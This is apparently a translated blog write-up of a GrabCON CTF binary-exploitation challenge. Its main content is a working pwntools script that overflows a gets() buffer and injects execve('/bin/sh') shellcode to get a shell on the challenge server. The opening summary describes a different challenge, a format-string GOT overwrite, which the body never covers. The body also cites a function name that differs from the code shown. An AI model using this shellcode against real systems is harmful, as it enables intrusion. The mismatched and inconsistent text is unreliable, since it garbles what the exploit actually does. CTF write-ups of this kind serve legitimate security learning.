2021-09-09 · 2분
GrabCON CTF — Can You write-up
GrabCON pwnable 的 write-up(cancancan):先追了栈金丝雀泄露这条错误线索,后来发现 printf(buf) 在 offset 6 处存在 FSB,并用 win 函数覆盖 read 的 GOT 表项。
2021-09-09 · 1분
这篇文章发布已超过两年,内容可能已过时。
GrabCON CTF
这是最后一题。
用 IDA 打开,main 不存在。从 start 开始找。
void __usercall __noreturn start(int a1@<eax>, void (*a2)(void)@<edx>)
{
int v2; // esi
int v3; // [esp-4h] [ebp-4h] BYREF
char *retaddr; // [esp+0h] [ebp+0h] BYREF
v2 = v3;
v3 = a1;
__libc_start_main(sub_1357, v2, &retaddr, sub_13B0, sub_1420, a2, &v3);
__halt();
}
int __cdecl sub_1357(int a1)
{
setvbuf(stdout, &dword_0 + 2, 0, 0);
sub_12BA(&a1);
sub_130D();
return 0;
}
找到了!!sub_1357 似乎是 main 函数。


char *sub_130D()
{
char s[294]; // [esp+Eh] [ebp-12Ah] BYREF
printf("eat some %p!\n", s);
return gets(s);
}
NX bit 没开?除最后一题外的题目似乎都很简单。虽然开了 PIE,但只要 NX bit 关着,我们用 shellcode 就行。漏洞发生在上面的 sub_103D。代码如下。
源代码
查看更多
from pwn import *
p = remote("35.246.42.94", 1337)
e = ELF("./pwn2")
p.recvuntil('some ')
buffer = int(p.recvline()[:10], 16)
log.info(f"buffer : {hex(buffer)}")
offset = 302
shellcode = b'\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x6a\x0e\x58\x48\x48\x48\x99\xcd\x80'
payload = b''
payload += shellcode
payload += b'A'*(277)
payload += p32(buffer)
pause()
p.send(payload)
p.interactive()
NX bit 没开的话就是白送的题嘛~
[黑客/系统黑客] - [系统黑客] Buffer Overflow (BOF)
[[系统黑客] Buffer Overflow (BOF)
BUFFER OVERFLOW BOF 是当能接收比所设缓冲区大小更大的输入时产生的漏洞。int __cdecl main(int argc, const char **argv, const char **envp) { char s[40]; // [esp+4h] > ebp-34h..
— nabomhalang.tistory.com
原文(韩语): tistory — 发布于 2021-09-09,已迁移至本博客。本翻译由 AI 协助完成。
…